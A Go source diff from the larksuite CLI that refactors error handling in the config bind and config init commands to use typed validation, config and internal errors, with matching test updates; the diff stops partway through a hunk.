@@ -212,10 +212,7 @@ func finalizeSource(opts *BindOptions) (string, error) {
|
||||
if opts.IsTUI && !opts.langExplicit {
|
||||
lang, err := promptLangSelection()
|
||||
if err != nil {
|
||||
if err == huh.ErrUserAborted {
|
||||
return "", output.ErrBare(1)
|
||||
}
|
||||
return "", output.Errorf(output.ExitInternal, "internal", "language selection failed: %v", err)
|
||||
return "", langSelectionError(err)
|
||||
}
|
||||
opts.Lang = string(lang)
|
||||
opts.UILang = lang
|
||||
|
||||
@@ -20,35 +20,29 @@ import (
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// assertExitError checks the full structured error in one assertion. It
|
||||
// accepts both *output.ExitError (used by output.ErrWithHint) and the
|
||||
// typed errors (ValidationError, ConfigError) — they normalize to the same
|
||||
// wantDetail fields. The wantDetail.Type is matched against the typed error's
|
||||
// Category string ("validation", "config", etc.).
|
||||
func assertExitError(t *testing.T, err error, wantCode int, wantDetail output.ErrDetail) {
|
||||
// wantErrDetail is the normalized comparison shape for a typed error's wire
|
||||
// fields: Type is the error's Category string ("validation", "config", ...),
|
||||
// alongside Message and Hint.
|
||||
type wantErrDetail struct {
|
||||
Type string
|
||||
Message string
|
||||
Hint string
|
||||
}
|
||||
|
||||
// assertExitError checks the full structured error in one assertion against a
|
||||
// typed error (ValidationError or ConfigError), normalizing its Category /
|
||||
// Message / Hint to wantDetail.
|
||||
func assertExitError(t *testing.T, err error, wantCode int, wantDetail wantErrDetail) {
|
||||
t.Helper()
|
||||
if err == nil {
|
||||
t.Fatal("expected error, got nil")
|
||||
}
|
||||
var exitErr *output.ExitError
|
||||
if errors.As(err, &exitErr) {
|
||||
if exitErr.Code != wantCode {
|
||||
t.Errorf("exit code = %d, want %d", exitErr.Code, wantCode)
|
||||
}
|
||||
if exitErr.Detail == nil {
|
||||
t.Fatal("expected non-nil error detail")
|
||||
}
|
||||
if !reflect.DeepEqual(*exitErr.Detail, wantDetail) {
|
||||
t.Errorf("error detail mismatch:\n got: %+v\n want: %+v", *exitErr.Detail, wantDetail)
|
||||
}
|
||||
return
|
||||
}
|
||||
var ve *errs.ValidationError
|
||||
if errors.As(err, &ve) {
|
||||
if got := output.ExitCodeOf(err); got != wantCode {
|
||||
t.Errorf("exit code = %d, want %d", got, wantCode)
|
||||
}
|
||||
gotDetail := output.ErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
|
||||
gotDetail := wantErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
|
||||
if !reflect.DeepEqual(gotDetail, wantDetail) {
|
||||
t.Errorf("validation error mismatch:\n got: %+v\n want: %+v", gotDetail, wantDetail)
|
||||
}
|
||||
@@ -59,13 +53,13 @@ func assertExitError(t *testing.T, err error, wantCode int, wantDetail output.Er
|
||||
if got := output.ExitCodeOf(err); got != wantCode {
|
||||
t.Errorf("exit code = %d, want %d", got, wantCode)
|
||||
}
|
||||
gotDetail := output.ErrDetail{Type: string(ce.Category), Message: ce.Message, Hint: ce.Hint}
|
||||
gotDetail := wantErrDetail{Type: string(ce.Category), Message: ce.Message, Hint: ce.Hint}
|
||||
if !reflect.DeepEqual(gotDetail, wantDetail) {
|
||||
t.Errorf("config error mismatch:\n got: %+v\n want: %+v", gotDetail, wantDetail)
|
||||
}
|
||||
return
|
||||
}
|
||||
t.Fatalf("error type = %T, want *output.ExitError or *errs.ValidationError / *errs.ConfigError; error = %v", err, err)
|
||||
t.Fatalf("error type = %T, want *errs.ValidationError / *errs.ConfigError; error = %v", err, err)
|
||||
}
|
||||
|
||||
// assertEnvelope decodes stdout and checks it matches want exactly — every key
|
||||
@@ -179,15 +173,21 @@ func TestConfigBindRun_InvalidLang(t *testing.T) {
|
||||
if err == nil {
|
||||
t.Fatalf("expected validation error for --lang %q, got nil", tc.lang)
|
||||
}
|
||||
exitErr, ok := err.(*output.ExitError)
|
||||
if !ok {
|
||||
t.Fatalf("expected *output.ExitError, got %T: %v", err, err)
|
||||
var valErr *errs.ValidationError
|
||||
if !errors.As(err, &valErr) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T: %v", err, err)
|
||||
}
|
||||
if exitErr.Code != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (validation)", exitErr.Code, output.ExitValidation)
|
||||
if valErr.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Errorf("subtype = %q, want %q", valErr.Subtype, errs.SubtypeInvalidArgument)
|
||||
}
|
||||
if !strings.Contains(exitErr.Error(), "invalid --lang") {
|
||||
t.Errorf("error message %q does not contain 'invalid --lang'", exitErr.Error())
|
||||
if valErr.Param != "--lang" {
|
||||
t.Errorf("param = %q, want %q", valErr.Param, "--lang")
|
||||
}
|
||||
if got := output.ExitCodeOf(err); got != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (validation)", got, output.ExitValidation)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "invalid --lang") {
|
||||
t.Errorf("error message %q does not contain 'invalid --lang'", err.Error())
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -365,7 +365,7 @@ func TestConfigBindRun_InvalidSource(t *testing.T) {
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "invalid"})
|
||||
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitValidation, wantErrDetail{
|
||||
Type: "validation",
|
||||
Message: `invalid --source "invalid"; valid values: openclaw, hermes, lark-channel`,
|
||||
})
|
||||
@@ -382,7 +382,7 @@ func TestConfigBindRun_MissingSourceNonTTY(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
// TestFactory has IsTerminal=false by default
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: ""})
|
||||
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitValidation, wantErrDetail{
|
||||
Type: "validation",
|
||||
Message: "cannot determine Agent source: no --source flag and no Agent environment detected",
|
||||
Hint: "pass --source openclaw|hermes|lark-channel, or run this command inside the corresponding Agent context",
|
||||
@@ -421,7 +421,7 @@ func TestConfigBindRun_SourceEnvMismatch_OpenClawFlagInHermesEnv(t *testing.T) {
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
|
||||
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitValidation, wantErrDetail{
|
||||
Type: "validation",
|
||||
Message: `--source "openclaw" does not match detected Agent environment (hermes)`,
|
||||
Hint: "remove --source to auto-detect, or run this command in the correct Agent context",
|
||||
@@ -437,7 +437,7 @@ func TestConfigBindRun_SourceEnvMismatch_HermesFlagInOpenClawEnv(t *testing.T) {
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
|
||||
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitValidation, wantErrDetail{
|
||||
Type: "validation",
|
||||
Message: `--source "hermes" does not match detected Agent environment (openclaw)`,
|
||||
Hint: "remove --source to auto-detect, or run this command in the correct Agent context",
|
||||
@@ -566,7 +566,7 @@ func TestConfigBindRun_HermesMissingEnvFile(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
|
||||
envPath := filepath.Join(hermesHome, ".env")
|
||||
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitAuth, wantErrDetail{
|
||||
Type: "config",
|
||||
Message: "failed to read Hermes config: open " + envPath + ": no such file or directory",
|
||||
Hint: "verify Hermes is installed and configured at " + envPath,
|
||||
@@ -584,7 +584,7 @@ func TestConfigBindRun_OpenClawMissingFile(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
|
||||
configPath := filepath.Join(openclawHome, ".openclaw", "openclaw.json")
|
||||
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitAuth, wantErrDetail{
|
||||
Type: "config",
|
||||
Message: "cannot read " + configPath + ": open " + configPath + ": no such file or directory",
|
||||
Hint: "verify OpenClaw is installed and configured",
|
||||
@@ -731,7 +731,7 @@ func TestConfigBindRun_SourceEnvMismatch_LarkChannelFlagInOpenClawEnv(t *testing
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
|
||||
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitValidation, wantErrDetail{
|
||||
Type: "validation",
|
||||
Message: `--source "lark-channel" does not match detected Agent environment (openclaw)`,
|
||||
Hint: "remove --source to auto-detect, or run this command in the correct Agent context",
|
||||
@@ -750,7 +750,7 @@ func TestConfigBindRun_LarkChannelMissingFile(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
|
||||
configPath := filepath.Join(fakeHome, ".lark-channel", "config.json")
|
||||
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitAuth, wantErrDetail{
|
||||
Type: "config",
|
||||
Message: "cannot read " + configPath + ": open " + configPath + ": no such file or directory",
|
||||
Hint: "verify lark-channel-bridge is installed and configured",
|
||||
@@ -770,7 +770,7 @@ func TestConfigBindRun_LarkChannelEmptyAppID(t *testing.T) {
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
|
||||
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitAuth, wantErrDetail{
|
||||
Type: "config",
|
||||
Message: "accounts.app.id missing in " + configPath,
|
||||
Hint: "run lark-channel-bridge's setup to populate the app credential",
|
||||
@@ -789,7 +789,7 @@ func TestConfigBindRun_LarkChannelEmptySecret(t *testing.T) {
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
|
||||
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitAuth, wantErrDetail{
|
||||
Type: "config",
|
||||
Message: "accounts.app.secret is empty in " + configPath,
|
||||
Hint: "run lark-channel-bridge's setup to populate the app credential",
|
||||
@@ -835,17 +835,19 @@ func TestConfigShowRun_AgentWorkspaceNotBound(t *testing.T) {
|
||||
t.Fatal("expected error for unbound workspace")
|
||||
}
|
||||
// Should be a structured ConfigError suggesting config bind, not config init.
|
||||
var cfgErr *core.ConfigError
|
||||
var cfgErr *errs.ConfigError
|
||||
if !errors.As(err, &cfgErr) {
|
||||
t.Fatalf("error type = %T, want *core.ConfigError", err)
|
||||
t.Fatalf("error type = %T, want *errs.ConfigError", err)
|
||||
}
|
||||
// Config errors share ExitAuth (3); the workspace is detected but no
|
||||
// binding exists yet, which is a config error.
|
||||
if cfgErr.Code != output.ExitAuth {
|
||||
t.Errorf("exit code = %d, want %d (config category → ExitAuth)", cfgErr.Code, output.ExitAuth)
|
||||
if got := output.ExitCodeOf(err); got != output.ExitAuth {
|
||||
t.Errorf("exit code = %d, want %d (config category → ExitAuth)", got, output.ExitAuth)
|
||||
}
|
||||
if cfgErr.Type != "openclaw" {
|
||||
t.Errorf("type = %q, want %q", cfgErr.Type, "openclaw")
|
||||
// The workspace name stays out of the wire subtype; it only appears in
|
||||
// the message.
|
||||
if cfgErr.Subtype != errs.SubtypeNotConfigured {
|
||||
t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
|
||||
}
|
||||
if !strings.Contains(cfgErr.Message, "openclaw context detected") {
|
||||
t.Errorf("message missing 'openclaw context detected': %q", cfgErr.Message)
|
||||
@@ -1187,7 +1189,7 @@ func TestConfigBindRun_OpenClawMultiAccount_TTYFlagMode(t *testing.T) {
|
||||
// iterates a map — ordering is non-deterministic. DeepEqual inline against
|
||||
// each accepted variant so every ErrDetail field (Type, Code, Message,
|
||||
// Hint, ConsoleURL, Detail, and any future addition) is still compared.
|
||||
base := output.ErrDetail{
|
||||
base := wantErrDetail{
|
||||
Type: "validation",
|
||||
Message: "multiple accounts in openclaw.json; pass --app-id <id>",
|
||||
}
|
||||
@@ -1203,7 +1205,7 @@ func TestConfigBindRun_OpenClawMultiAccount_TTYFlagMode(t *testing.T) {
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("error type = %T, want *errs.ValidationError; err = %v", err, err)
|
||||
}
|
||||
got := output.ErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
|
||||
got := wantErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
|
||||
if !reflect.DeepEqual(got, wantWorkFirst) && !reflect.DeepEqual(got, wantPersonalFirst) {
|
||||
t.Errorf("error detail did not match any accepted variant:\n got: %+v\n want: %+v OR %+v",
|
||||
got, wantWorkFirst, wantPersonalFirst)
|
||||
@@ -1230,7 +1232,7 @@ func TestConfigBindRun_OpenClawMultiAccount_WrongAppID(t *testing.T) {
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "openclaw", AppID: "nonexistent"})
|
||||
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitValidation, wantErrDetail{
|
||||
Type: "validation",
|
||||
Message: `--app-id "nonexistent" not found in openclaw.json`,
|
||||
Hint: "available app IDs:\n cli_only_one",
|
||||
@@ -1250,7 +1252,7 @@ func TestConfigBindRun_InvalidIdentity(t *testing.T) {
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "hermes", Identity: "invalid"})
|
||||
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitValidation, wantErrDetail{
|
||||
Type: "validation",
|
||||
Message: `invalid --identity "invalid"; valid values: bot-only, user-default`,
|
||||
})
|
||||
@@ -1536,7 +1538,7 @@ func TestConfigBindRun_HermesMissingAppID(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
|
||||
envPath := filepath.Join(hermesHome, ".env")
|
||||
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitAuth, wantErrDetail{
|
||||
Type: "config",
|
||||
Message: "FEISHU_APP_ID not found in " + envPath,
|
||||
Hint: "run 'hermes setup' to configure Feishu credentials",
|
||||
@@ -1556,7 +1558,7 @@ func TestConfigBindRun_HermesMissingAppSecret(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
|
||||
envPath := filepath.Join(hermesHome, ".env")
|
||||
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitAuth, wantErrDetail{
|
||||
Type: "config",
|
||||
Message: "FEISHU_APP_SECRET not found in " + envPath,
|
||||
Hint: "run 'hermes setup' to configure Feishu credentials",
|
||||
@@ -1582,7 +1584,7 @@ func TestConfigBindRun_OpenClawMissingFeishu(t *testing.T) {
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
|
||||
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitAuth, wantErrDetail{
|
||||
Type: "config",
|
||||
Message: "openclaw.json missing channels.feishu section",
|
||||
Hint: "configure Feishu in OpenClaw first",
|
||||
@@ -1610,7 +1612,7 @@ func TestConfigBindRun_OpenClawEmptyAppSecret(t *testing.T) {
|
||||
openclawPath := filepath.Join(openclawDir, "openclaw.json")
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
|
||||
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitAuth, wantErrDetail{
|
||||
Type: "config",
|
||||
Message: "appSecret is empty for app cli_no_secret in " + openclawPath,
|
||||
Hint: "configure channels.feishu.appSecret in openclaw.json",
|
||||
@@ -1672,7 +1674,7 @@ func TestConfigBindRun_OpenClawDisabledAccount(t *testing.T) {
|
||||
|
||||
f, _, _, _ := cmdutil.TestFactory(t, nil)
|
||||
err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
|
||||
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitAuth, wantErrDetail{
|
||||
Type: "config",
|
||||
Message: "no Feishu app configured in openclaw.json",
|
||||
Hint: "configure channels.feishu.appId in openclaw.json",
|
||||
|
||||
@@ -51,7 +51,7 @@ func assertCandidate(t *testing.T, got *Candidate, want Candidate) {
|
||||
func TestSelectCandidate_ZeroCandidates_OpenClaw(t *testing.T) {
|
||||
b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
|
||||
_, err := selectCandidate(b, nil, "", false, tuiUnreachable(t))
|
||||
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitAuth, wantErrDetail{
|
||||
Type: "config",
|
||||
Message: "no Feishu app configured in openclaw.json",
|
||||
Hint: "configure channels.feishu.appId in openclaw.json",
|
||||
@@ -64,7 +64,7 @@ func TestSelectCandidate_ZeroCandidates_GenericSource(t *testing.T) {
|
||||
// even before it has a bespoke error message.
|
||||
b := &fakeBinder{name: "hermes", path: "/tmp/.env"}
|
||||
_, err := selectCandidate(b, nil, "", false, tuiUnreachable(t))
|
||||
assertExitError(t, err, output.ExitAuth, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitAuth, wantErrDetail{
|
||||
Type: "config",
|
||||
Message: "hermes: no app configured",
|
||||
})
|
||||
@@ -100,7 +100,7 @@ func TestSelectCandidate_AppIDFlag_NoMatch(t *testing.T) {
|
||||
{AppID: "cli_home", Label: "home"},
|
||||
}
|
||||
_, err := selectCandidate(b, candidates, "nonexistent", false, tuiUnreachable(t))
|
||||
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitValidation, wantErrDetail{
|
||||
Type: "validation",
|
||||
Message: `--app-id "nonexistent" not found in openclaw.json`,
|
||||
Hint: "available app IDs:\n cli_work (work)\n cli_home (home)",
|
||||
@@ -117,7 +117,7 @@ func TestSelectCandidate_MultiCandidate_NoFlag_NonTUI(t *testing.T) {
|
||||
{AppID: "cli_home", Label: "home"},
|
||||
}
|
||||
_, err := selectCandidate(b, candidates, "", false, tuiUnreachable(t))
|
||||
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitValidation, wantErrDetail{
|
||||
Type: "validation",
|
||||
Message: "multiple accounts in openclaw.json; pass --app-id <id>",
|
||||
Hint: "available app IDs:\n cli_work (work)\n cli_home (home)",
|
||||
@@ -152,7 +152,7 @@ func TestSelectCandidate_SingleCandidate_WrongFlag(t *testing.T) {
|
||||
b := &fakeBinder{name: "openclaw", path: "/tmp/openclaw.json"}
|
||||
candidates := []Candidate{{AppID: "cli_only"}}
|
||||
_, err := selectCandidate(b, candidates, "nonexistent", false, tuiUnreachable(t))
|
||||
assertExitError(t, err, output.ExitValidation, output.ErrDetail{
|
||||
assertExitError(t, err, output.ExitValidation, wantErrDetail{
|
||||
Type: "validation",
|
||||
Message: `--app-id "nonexistent" not found in openclaw.json`,
|
||||
Hint: "available app IDs:\n cli_only",
|
||||
|
||||
@@ -12,6 +12,7 @@ import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
extcred "github.com/larksuite/cli/extension/credential"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
@@ -92,16 +93,16 @@ func TestConfigShowRun_NotConfiguredReturnsStructuredError(t *testing.T) {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
|
||||
var cfgErr *core.ConfigError
|
||||
var cfgErr *errs.ConfigError
|
||||
if !errors.As(err, &cfgErr) {
|
||||
t.Fatalf("error type = %T, want *core.ConfigError", err)
|
||||
t.Fatalf("error type = %T, want *errs.ConfigError", err)
|
||||
}
|
||||
// Config errors share ExitAuth (3), not ExitValidation.
|
||||
if cfgErr.Code != output.ExitAuth {
|
||||
t.Fatalf("exit code = %d, want %d (config category → ExitAuth)", cfgErr.Code, output.ExitAuth)
|
||||
if got := output.ExitCodeOf(err); got != output.ExitAuth {
|
||||
t.Fatalf("exit code = %d, want %d (config category → ExitAuth)", got, output.ExitAuth)
|
||||
}
|
||||
if cfgErr.Type != "config" || cfgErr.Message != "not configured" {
|
||||
t.Fatalf("detail = %+v, want config/not configured", cfgErr)
|
||||
if cfgErr.Subtype != errs.SubtypeNotConfigured || cfgErr.Message != "not configured" {
|
||||
t.Fatalf("detail = %+v, want not_configured/not configured", cfgErr)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -233,15 +234,21 @@ func TestConfigInitCmd_InvalidLang(t *testing.T) {
|
||||
if err == nil {
|
||||
t.Fatalf("expected validation error for --lang %q, got nil", tc.lang)
|
||||
}
|
||||
exitErr, ok := err.(*output.ExitError)
|
||||
if !ok {
|
||||
t.Fatalf("expected *output.ExitError, got %T: %v", err, err)
|
||||
var valErr *errs.ValidationError
|
||||
if !errors.As(err, &valErr) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T: %v", err, err)
|
||||
}
|
||||
if exitErr.Code != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (validation)", exitErr.Code, output.ExitValidation)
|
||||
if valErr.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Errorf("subtype = %q, want %q", valErr.Subtype, errs.SubtypeInvalidArgument)
|
||||
}
|
||||
if !strings.Contains(exitErr.Error(), "invalid --lang") {
|
||||
t.Errorf("error message %q does not contain 'invalid --lang'", exitErr.Error())
|
||||
if valErr.Param != "--lang" {
|
||||
t.Errorf("param = %q, want %q", valErr.Param, "--lang")
|
||||
}
|
||||
if got := output.ExitCodeOf(err); got != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (validation)", got, output.ExitValidation)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "invalid --lang") {
|
||||
t.Errorf("error message %q does not contain 'invalid --lang'", err.Error())
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -385,8 +392,38 @@ func TestSaveAsProfile_RejectsProfileNameCollisionWithExistingAppID(t *testing.T
|
||||
if err == nil {
|
||||
t.Fatal("expected conflict error")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "conflicts with existing appId") {
|
||||
t.Fatalf("error = %v, want conflict with existing appId", err)
|
||||
// A name/appId conflict is user input — a typed validation error naming the
|
||||
// offending flag, not a system storage failure.
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("error type = %T, want *errs.ValidationError; err=%v", err, err)
|
||||
}
|
||||
if verr.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Errorf("subtype = %q, want invalid_argument", verr.Subtype)
|
||||
}
|
||||
if verr.Param != "--name" {
|
||||
t.Errorf("param = %q, want --name", verr.Param)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (validation)", output.ExitCodeOf(err), output.ExitValidation)
|
||||
}
|
||||
if !strings.Contains(verr.Message, "conflicts with existing appId") {
|
||||
t.Errorf("message = %q, want conflict description", verr.Message)
|
||||
}
|
||||
}
|
||||
|
||||
// TestWrapSaveConfigError_PassesTypedValidationThrough pins that a user-input
|
||||
// validation error (e.g. the --name conflict) is not reclassified as an
|
||||
// internal storage failure on its way up through the save call sites.
|
||||
func TestWrapSaveConfigError_PassesTypedValidationThrough(t *testing.T) {
|
||||
conflict := errs.NewValidationError(errs.SubtypeInvalidArgument, "name conflict").WithParam("--name")
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(wrapSaveConfigError(conflict), &verr) {
|
||||
t.Fatalf("typed validation must pass through unchanged, got %T", wrapSaveConfigError(conflict))
|
||||
}
|
||||
var ierr *errs.InternalError
|
||||
if !errors.As(wrapSaveConfigError(errors.New("disk full")), &ierr) || ierr.Subtype != errs.SubtypeStorage {
|
||||
t.Fatalf("untyped failure must become internal/storage")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -6,13 +6,11 @@ package config
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/huh"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
@@ -127,12 +125,9 @@ func guardAgentWorkspace(opts *ConfigInitOptions) error {
|
||||
if ws.IsLocal() {
|
||||
return nil
|
||||
}
|
||||
return &core.ConfigError{
|
||||
Code: 2,
|
||||
Type: ws.Display(),
|
||||
Message: fmt.Sprintf("config init is refused inside %s context (would create a parallel app and shadow the existing %s binding)", ws.Display(), ws.Display()),
|
||||
Hint: "see `lark-cli config bind --help` to bind lark-cli to the Agent's existing app instead. Pass --force-init only if the user explicitly wants a separate app in this workspace.",
|
||||
}
|
||||
return errs.NewConfigError(errs.SubtypeNotConfigured,
|
||||
"config init is refused inside %s context (would create a parallel app and shadow the existing %s binding)", ws.Display(), ws.Display()).
|
||||
WithHint("see `lark-cli config bind --help` to bind lark-cli to the Agent's existing app instead. Pass --force-init only if the user explicitly wants a separate app in this workspace.")
|
||||
}
|
||||
|
||||
// hasAnyNonInteractiveFlag returns true if any non-interactive flag is set.
|
||||
@@ -183,6 +178,20 @@ func saveInitConfig(profileName string, existing *core.MultiAppConfig, f *cmduti
|
||||
return saveAsOnlyApp(appId, secret, brand, string(preferredLang(i18n.Lang(lang), prior)))
|
||||
}
|
||||
|
||||
// wrapSaveConfigError passes an already-typed error (e.g. the --name conflict
|
||||
// validation error from saveAsProfile) through unchanged, and classifies any
|
||||
// other failure as an internal storage error. Without the passthrough a user
|
||||
// input error would surface to agents as a system storage failure.
|
||||
func wrapSaveConfigError(err error) error {
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return err
|
||||
}
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
|
||||
}
|
||||
|
||||
// saveAsProfile appends or updates a named profile in the config.
|
||||
// If a profile with the same name exists, it updates it; otherwise appends.
|
||||
// When updating, cleans up old keychain secrets if AppId changed.
|
||||
@@ -207,7 +216,9 @@ func saveAsProfile(existing *core.MultiAppConfig, kc keychain.KeychainAccess, pr
|
||||
multi.Apps[idx].Lang = preferredLang(i18n.Lang(lang), multi.Apps[idx].Lang)
|
||||
} else {
|
||||
if findAppIndexByAppID(multi, profileName) >= 0 {
|
||||
return fmt.Errorf("profile name %q conflicts with existing appId", profileName)
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"profile name %q conflicts with existing appId", profileName).
|
||||
WithParam("--name")
|
||||
}
|
||||
// Append new profile
|
||||
multi.Apps = append(multi.Apps, core.AppConfig{
|
||||
@@ -249,8 +260,8 @@ func findAppIndexByAppID(multi *core.MultiAppConfig, appID string) int {
|
||||
// wrapUpdateExistingProfileErr classifies the error returned by
|
||||
// updateExistingProfileWithoutSecret. Typed errors (e.g. *errs.ValidationError
|
||||
// for blank-input) pass through unchanged so their exit code semantics
|
||||
// survive; legacy *output.ExitError also passes through; everything else
|
||||
// (filesystem, keychain, etc.) is wrapped as InternalError.
|
||||
// survive; everything else (filesystem, keychain, etc.) is wrapped as
|
||||
// InternalError.
|
||||
func wrapUpdateExistingProfileErr(err error) error {
|
||||
if err == nil {
|
||||
return nil
|
||||
@@ -258,10 +269,6 @@ func wrapUpdateExistingProfileErr(err error) error {
|
||||
if errs.IsTyped(err) {
|
||||
return err
|
||||
}
|
||||
var exitErr *output.ExitError
|
||||
if errors.As(err, &exitErr) {
|
||||
return err
|
||||
}
|
||||
return errs.NewInternalError(errs.SubtypeSDKError, "failed to save config: %v", err).WithCause(err)
|
||||
}
|
||||
|
||||
@@ -336,7 +343,7 @@ func configInitRun(opts *ConfigInitOptions) error {
|
||||
return errs.NewInternalError(errs.SubtypeSDKError, "%v", err).WithCause(err)
|
||||
}
|
||||
if err := saveInitConfig(opts.ProfileName, existing, f, opts.AppID, secret, brand, opts.Lang); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
|
||||
return wrapSaveConfigError(err)
|
||||
}
|
||||
output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("Configuration saved to %s", core.GetConfigPath()))
|
||||
printLangPreferenceConfirmation(opts)
|
||||
@@ -353,10 +360,7 @@ func configInitRun(opts *ConfigInitOptions) error {
|
||||
if f.IOStreams.IsTerminal && !opts.langExplicit && !opts.hasAnyNonInteractiveFlag() {
|
||||
lang, err := promptLangSelection()
|
||||
if err != nil {
|
||||
if err == huh.ErrUserAborted {
|
||||
return output.ErrBare(1)
|
||||
}
|
||||
